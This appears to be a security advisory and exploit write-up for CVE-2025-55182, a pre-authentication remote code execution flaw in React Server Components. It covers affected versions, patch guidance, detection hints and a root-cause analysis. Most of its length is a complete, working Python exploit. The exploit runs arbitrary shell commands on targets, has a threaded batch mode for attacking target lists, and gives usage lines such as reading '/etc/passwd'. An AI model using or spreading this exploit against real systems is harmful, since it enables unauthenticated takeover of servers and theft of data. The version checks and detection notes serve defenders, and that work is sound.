#Summary
React2Shell (CVE-2025-55182) is a pre-authentication remote code execution vulnerability in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0, affecting the react-server-dom-webpack, react-server-dom-turbopack, and react-server-dom-parcel packages. The vulnerability exists in the Flight Reply deserialization path and allows an unauthenticated attacker to achieve arbitrary code execution with a single HTTP POST request. CVSS score: 10.0 (CRITICAL).
#Am I affected?
- Affected: React Server Components
19.0.0,19.1.0to19.1.1(inclusive),19.2.0 - Patched:
19.0.1,19.1.2,19.2.1and later - Default configuration: Affected if any route feeds a request body into
decodeReply()ordecodeAction()fromreact-server-dom-webpack/server.node(or turbopack/parcel equivalents) - Access needed: Unauthenticated network access only. In Next.js App Router, every route is vulnerable by default, as POST requests with a
Next-Actionheader are routed into the server-action handler before authentication.
#How to check
Run npm list react react-dom react-server-dom-webpack in your application directory and check the installed version.
| Version | Status |
|---|---|
| 19.0.0 or earlier 19.1.x (before 19.1.2) | VULNERABLE |
| 19.2.0 | VULNERABLE |
| 19.0.1 or later | PATCHED |
| 19.1.2 or later | PATCHED |
| 19.2.1 or later | PATCHED |
#Fix and mitigation
Fix: Upgrade React Server Components to the patched versions:
19.0.1,19.1.2,19.2.1or later. Update all three packages (react,react-dom, and the bundler binding) together, as they must remain in sync.npm update react react-dom react-server-dom-webpackIf you cannot upgrade: Disable the Server Function endpoint or restrict network access to trusted clients only (not a complete mitigation, only a temporary workaround).
Detection: Monitor for POST requests to your application with multipart form data containing field names
0and1. A vulnerable server will execute arbitrary JavaScript code from the request body during deserialization, before any application authentication runs.
#Root cause analysis
#Three composing defects
React Server Components use a wire format called "Flight" for communication between client and server. When a browser calls a Server Function, the arguments are serialized and sent to the server, which deserializes them using decodeReply() from the react-server package (re-exported by the bundler bindings).
The Flight deserializer is not a JSON parser. Each form field is a "model" where strings beginning with $ are directives:
$@<hex>yields a Chunk object$B<hex>yields a Blob from the backing form data{{CONTENT}}lt;hex>:seg:seg...is an outlined model reference with a property path
Three missing ownership checks compose into RCE:
1. Unguarded property-path traversal
The getOutlinedModel() function walks an attacker-supplied property path with bracket access:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}Bracket access traverses the entire prototype chain. References like $1:__proto__:then and $1:constructor:constructor are therefore legal.
2. Chunk back-pointer stored in a string-named property
Chunks are created with _response as a plain, string-addressable property:
function Chunk(status, value, reason, response) {
this.status = status;
this.value = value;
this.reason = reason;
this._response = response;
}
Chunk.prototype = Object.create(Promise.prototype);Because Chunk.prototype inherits from Promise.prototype, a Chunk instance's .constructor is Promise, and Promise.constructor is the JavaScript Function constructor. A forged plain object carrying the right fields is indistinguishable from a real chunk.
3. Unguarded method call on forged Response
The $B (Blob) branch executes:
const backingEntry = response._formData.get(response._prefix + id);With _formData.get pointing at the Function constructor and _prefix set to attacker source, this becomes Function(source + "4919"), where 4919 is the decimal equivalent of hex 1337.
#How the exploit works
The attacker sends a POST with a multipart/form-data body containing two fields:
Field 1: The literal string "$@0" (quotes included). When parsed as a Flight model, this resolves to the raw Chunk object for id 0 - a genuine Chunk instance to harvest inherited members from.
Field 0: A JSON object that forges both a chunk and the Response it should be deserialized against:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<JAVASCRIPT SOURCE>//",
"_formData": {"get": "$1:constructor:constructor"}
}
}When deserialization reaches this object:
- The
thenproperty borrows the realChunk.prototype.thenvia the unguarded__proto__walk - React treats the object as a thenable and drives it through
initializeModelChunk() - During initialization,
_formData.get()is called with the gadget source as an argument - Since
_formData.getpoints to theFunctionconstructor, the source is compiled into a function - The compiled function is placed on the inner model's
thenproperty - The promise machinery invokes it as
fn(resolve, reject), wherearguments[0]is the liveresolvecallback - The gadget calls
arguments[0]with the command's stdout, settling the promise and returning the output in the HTTP response
The gadget runs in global scope (CommonJS require is undefined), so it reaches child_process through process.mainModule.require:
arguments[0]("<SENTINEL>:" + process.mainModule.require('child_process').execSync("<COMMAND>").toString());//The // comment prevents syntax errors from the decimal digits appended by the $B1337 branch.
#Patch diff
#What the fix does
The patch closes all three defects:
Ownership check on property traversal: Every property hop in
getOutlinedModel()andfulfillReference()is guarded withhasOwnProperty(), skipping inherited properties rather than following them.Response back-pointer moved behind a Symbol: The
_responsefield is deleted and replaced with aSymbol()-keyed slot that JSON strings can never name. TheResponseis passed as an explicit parameter rather than extracted from the chunk.Hardening of the busboy stream: Exception handling is wrapped to destroy the stream cleanly instead of throwing.
#Proof of concept
#exploit.py - React2Shell RCE PoC
#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components "Flight" Reply deserialization RCE ("React2Shell")
Affected: react-server-dom-webpack / -turbopack / -parcel 19.0.0, 19.1.0-19.1.1, 19.2.0
(the deserializer lives in the react-server package they re-export)
Type: Insecure deserialization (CWE-502) -> unauthenticated remote code execution
Any HTTP route that feeds a request body into decodeReply()/decodeAction() is a sink.
In Next.js App Router that is every route reached by a POST with a Next-Action header,
before authentication. A single multipart/form-data POST with two forged fields walks
the Flight model's prototype chain to a handle on the Function constructor, forges a
Response object React will trust, and compiles attacker source into a function the
promise machinery invokes. Calling the supplied resolve callback returns command output
in band, in the same HTTP response.
Usage:
python exploit.py --host 127.0.0.1 --port 8080
python exploit.py --host 10.0.0.5 --port 3000 --command "uname -a"
python exploit.py --host https://app.example.com/some/route --command "id"
python exploit.py --list targets.txt --workers 20
"""
import argparse
import json
import secrets
import socket
import ssl
import sys
from urllib.parse import urlparse
CVE_ID = "CVE-2025-55182"
VULN_TYPE = "RCE"
def header(host, port):
print("\n%s" % ("=" * 60))
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("%s\n" % ("=" * 60))
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n%s" % ("=" * 60))
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("%s\n" % ("=" * 60))
sys.exit(0 if success else 1)
# --- Flight Reply payload construction -------------------------------------
def build_payload(command, sentinel):
"""
Build the two-field multipart/form-data body that drives the Flight
deserializer to Function(attackerSource).
Field "1" = the literal string "$@0" (quotes included): a JSON model whose
value is the reference directive $@0, resolving to the raw Chunk object for
id 0 - a genuine Chunk instance to harvest inherited members from.
Field "0" = a JSON object forging a chunk plus the Response it is deserialized
against:
then "$1:__proto__:then" borrow Chunk.prototype.then (thenable)
status "resolved_model" take the needs-initializing branch
reason -1 sentinel for "no root reference"
value "{\"then\":\"$B1337\"}" inner model parsed on initialization
_response { _prefix, _formData.get } forged Response
_formData.get = "$1:constructor:constructor" -> the Function constructor
_prefix = <JS SOURCE> compiled by Function(source + "4919")
The $B1337 branch runs response._formData.get(response._prefix + 4919), i.e.
Function(source + "4919"); "1337" is hex so decimal 4919 is appended. The source
ends in // so those trailing digits fall in a comment. The compiled function is
placed on the inner model's then and invoked as fn(resolve, reject); arguments[0]
is the live resolve callback, so calling it settles the awaited promise and the
endpoint serializes the string into its own HTTP 200 body.
The command gadget runs in global scope (no CommonJS require), so we reach
child_process through process.mainModule.require, which is a global.
"""
gadget = (
"arguments[0](%s + process.mainModule.require('child_process')"
".execSync(%s).toString());//"
) % (json.dumps(sentinel), json.dumps(command))
field0 = json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": json.dumps({"then": "$B1337"}),
"_response": {
"_prefix": gadget,
"_formData": {"get": "$1:constructor:constructor"},
},
})
field1 = '"$@0"'
boundary = "----%s" % secrets.token_hex(16)
crlf = "\r\n"
body = "".join([
"--%s%s" % (boundary, crlf),
'Content-Disposition: form-data; name="0"%s%s' % (crlf, crlf),
field0, crlf,
"--%s%s" % (boundary, crlf),
'Content-Disposition: form-data; name="1"%s%s' % (crlf, crlf),
field1, crlf,
"--%s--%s" % (boundary, crlf),
]).encode("utf-8")
content_type = "multipart/form-data; boundary=%s" % boundary
return body, content_type
def _http_post(host, port, use_tls, path, body, content_type, timeout=15.0):
"""Minimal raw HTTP/1.1 POST over a socket. Returns (status_code, body_text)."""
if not path:
path = "/"
# A POST carrying a Next-Action header is what routes into the server-action
# handler on a real Next.js App Router target, before any application code.
req_lines = [
"POST %s HTTP/1.1" % path,
"Host: %s" % host,
"Content-Type: %s" % content_type,
"Content-Length: %d" % len(body),
"Accept: text/x-component",
"Next-Action: %s" % secrets.token_hex(10),
"Connection: close",
]
raw = ("\r\n".join(req_lines) + "\r\n\r\n").encode("utf-8") + body
sock = socket.create_connection((host, port), timeout=timeout)
try:
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.settimeout(timeout)
sock.sendall(raw)
chunks = []
while True:
try:
part = sock.recv(65536)
except socket.timeout:
break
if not part:
break
chunks.append(part)
finally:
try:
sock.close()
except Exception:
pass
data = b"".join(chunks)
head, _, payload = data.partition(b"\r\n\r\n")
status = 0
try:
status = int(head.split(b"\r\n", 1)[0].split(b" ")[1])
except (IndexError, ValueError):
status = 0
# Decode body; handle chunked transfer if present.
header_text = head.decode("latin-1", "replace").lower()
if "transfer-encoding: chunked" in header_text:
payload = _dechunk(payload)
return status, payload.decode("utf-8", "replace")
def _dechunk(payload):
out = []
rest = payload
while rest:
line, sep, remainder = rest.partition(b"\r\n")
if not sep:
break
try:
size = int(line.strip(), 16)
except ValueError:
break
if size == 0:
break
out.append(remainder[:size])
rest = remainder[size:]
if rest[:2] == b"\r\n":
rest = rest[2:]
return b"".join(out)
# --- success evaluation -----------------------------------------------------
# Signatures of the 19.1.2+ patched control: the hasOwnProperty guard skips the
# __proto__/constructor hops, so the forged object resolves as inert reflected
# data. These markers appear in the reflection (including our own source echoed
# back inside _prefix), so a sentinel alone would false-positive on a patched
# target - we require these to be ABSENT.
_PATCHED_MARKERS = ("then: null", "_response", "[circular", "_formdata")
def _evaluate(status, text, sentinel):
"""Return (success, output_or_None). Pure; no printing."""
low = text.lower()
patched = any(m in low for m in _PATCHED_MARKERS)
if sentinel in text and not patched:
# On success the whole decoded arg IS the resolved string: sentinel + stdout.
idx = text.find(sentinel)
tail = text[idx + len(sentinel):]
# The value is double-escaped (Node's util.inspect, then JSON.stringify),
# so a real newline shows up as a run of backslashes before an 'n'. Cut at
# the first such escaped newline and strip the trailing quoting artifacts.
for term in ("\\\\n", "\\n"):
if term in tail:
tail = tail.split(term)[0]
break
output = tail.strip().strip("'\"").rstrip("\\").strip()
return True, output
return False, None
def _try_exploit(host, port, use_tls=False, path="/", command="id"):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
sentinel = "poc_%s:" % secrets.token_hex(8)
try:
body, ct = build_payload(command, sentinel)
status, text = _http_post(host, port, use_tls, path, body, ct, timeout=12.0)
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
ok, output = _evaluate(status, text, sentinel)
if ok:
return True, "RCE - '%s' => %s" % (command, (output or "")[:80])
if any(m in text.lower() for m in _PATCHED_MARKERS):
return False, "not vulnerable (patched - guard skipped the hops)"
return False, "no execution evidence (HTTP %s)" % status
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, command="id"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n%s" % ("=" * 60))
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("%s\n" % ("=" * 60))
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s%s" % ("https" if use_tls else "http", host, port,
path if path != "/" else "")
ok, evidence = _try_exploit(host, port, use_tls, path, command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % (
"[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n%s" % ("=" * 60))
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)" % (
success_count, total - success_count, total))
print("%s\n" % ("=" * 60))
sys.exit(0 if success_count > 0 else 1)
def exploit(host, port, use_tls, path, command):
header(host, port)
sentinel = "poc_%s:" % secrets.token_hex(8)
step(1, "Building forged Flight Reply payload (2 multipart fields)")
body, content_type = build_payload(command, sentinel)
print(" field 1 = \"$@0\" (seeds the walk with a genuine Chunk)")
print(" field 0 = forged chunk + forged Response (_formData.get -> Function)")
print(" gadget = process.mainModule.require('child_process').execSync(%r)" % command)
step(2, "POSTing to %s://%s:%s%s" % ("https" if use_tls else "http", host, port, path))
try:
status, text = _http_post(host, port, use_tls, path, body, content_type)
except Exception as e:
section("TRANSPORT ERROR", "%s: %s" % (e.__class__.__name__, e))
done(False, "could not reach target: %s" % e.__class__.__name__)
step(3, "Evaluating response (HTTP %s)" % status)
ok, output = _evaluate(status, text, sentinel)
if ok:
section("COMMAND OUTPUT", output or "(empty)")
done(True, "RCE confirmed - command '%s' output: %s" % (command, (output or "").strip()))
# Not exploited: explain which failure mode this is.
section("SERVER RESPONSE", text[:800])
if any(m in text.lower() for m in _PATCHED_MARKERS):
done(False, "target patched (19.1.2+): guard skipped the prototype hops, "
"payload resolved as inert reflected data")
if "is not valid json" in text.lower():
done(False, "field 1 lost its literal quotes in transit (request-construction bug)")
done(False, "payload sent but no execution evidence in response (HTTP %s)" % status)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/route)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command)#Usage
# Default target on port 3000 (runs 'id')
python exploit.py --host 127.0.0.1 --port 3000
# Run a specific command
python exploit.py --host 10.0.0.5 --port 3000 --command "uname -a"
# Full URL with custom route
python exploit.py --host https://app.example.com/some/route --command "cat /etc/passwd"
# Batch scan from a file (one target per line)
python exploit.py --list targets.txt --workers 20 --command "id"#Expected output - vulnerable target
============================================================
ALIM EXPLOIT CVE-2025-55182
Type: RCE | Target: 127.0.0.1:8210
============================================================
[STEP 1] Building forged Flight Reply payload (2 multipart fields)
field 1 = "$@0" (seeds the walk with a genuine Chunk)
field 0 = forged chunk + forged Response (_formData.get -> Function)
gadget = process.mainModule.require('child_process').execSync('id')
[STEP 2] POSTing to http://127.0.0.1:8210/
[STEP 3] Evaluating response (HTTP 200)
--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---
============================================================
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' output: uid=0(root) gid=0(root) groups=0(root)
============================================================#Expected output - patched target
============================================================
ALIM EXPLOIT CVE-2025-55182
Type: RCE | Target: 127.0.0.1:8211
============================================================
[STEP 1] Building forged Flight Reply payload (2 multipart fields)
field 1 = "$@0" (seeds the walk with a genuine Chunk)
field 0 = forged chunk + forged Response (_formData.get -> Function)
gadget = process.mainModule.require('child_process').execSync('id')
[STEP 2] POSTing to http://127.0.0.1:8211/
[STEP 3] Evaluating response (HTTP 200)
--- SERVER RESPONSE ---
{"ok":true,"args":"<ref *1> { then: null, status: 'resolved_model', reason: -1, value: '{\"then\": \"$B1337\"}', _response: { _prefix: `...`, _formData: { get: [Circular *1] } } }"}
---
============================================================
RESULT : FAILURE
EVIDENCE: target patched (19.1.2+): guard skipped the prototype hops, payload resolved as inert reflected data
============================================================#Exploitation notes
#Preconditions
- The target must expose a React Server Function endpoint - any HTTP route that calls
decodeReply(),decodeReplyFromBusboy(), ordecodeAction()fromreact-server-dom-webpack/server.node(or turbopack/parcel equivalents) - In Next.js App Router this is automatic; every route accepts POST with a
Next-Actionheader - No valid action ID, session, CSRF token, or prior knowledge of the application is needed
- The payload is consumed during deserialization, before action dispatch
#Reliability
The exploit is deterministic and reaches code execution in a single unauthenticated HTTP POST request. There is no timing sensitivity, encoding complexity, or rate limiting to work around. The compiled function is invoked synchronously as part of promise initialization, and command output returns in the same HTTP response.
#Impact
Unauthenticated remote code execution as the Node.js process user. Complete system compromise is typical, as the application process often runs with elevated privileges or can escalate within its container.
#Chaining potential
The vulnerability exists in the deserialization path before action dispatch, meaning:
- It bypasses all application-level authentication and authorization
- It works against unpatched React Server Component apps regardless of their own security controls
- In containerized deployments it often runs as root and can break out to the host
#References
- CVE: CVE-2025-55182
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
- GitHub Advisory: https://github.com/advisories/GHSA-fv66-9v8q-g76r
- React Blog: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- Fix commit: https://github.com/facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700
